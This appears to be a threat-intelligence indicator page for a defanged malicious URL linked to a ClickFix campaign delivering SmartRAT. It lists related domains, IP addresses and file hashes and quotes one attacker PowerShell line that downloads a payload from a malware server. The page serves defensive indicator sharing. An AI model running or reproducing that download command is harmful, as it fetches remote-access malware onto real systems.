hxxp://64.95.13[.]238/payload.phpURL
Reported by 1 independent source · first reported by Zscaler ThreatLabz · last reported
Last reported 4 months ago
What the reports say
1 report, newest first · the exact sentence from each-
ClickFix Campaign Generated Via AI Delivers SmartRAT“(New-Object Net.WebClient).DownloadFile('hxxp://64.95.13[.]238/payload.php',$f)”
Indicators reported together
named in the same reports- cartaobb[.]comin 1 report
- cartaobrb.com[.]brin 1 report
- hxxp://64.95.13[.]238/st.txtin 1 report
- 64.95.13[.]238in 1 report
- c.windowsupdate-cdn[.]comin 1 report
- 162.141.111[.]227in 1 report
- crefisa[.]onlinein 1 report
- vfsgloball[.]netin 1 report
- windowsupdate-cdn[.]comin 1 report
- 297eb45f028d44d750297d2f932b9c91in 1 report
- 6bf4d4c62b5138ace281ce3d08297787in 1 report
- 3c72e1f37f115b00c3ad6ed31bacfe8ain 1 report
- b17ccdb5531555e43f082d6e77c07227in 1 report
Copy these 13 indicators · defanged
Thanks — we review every report.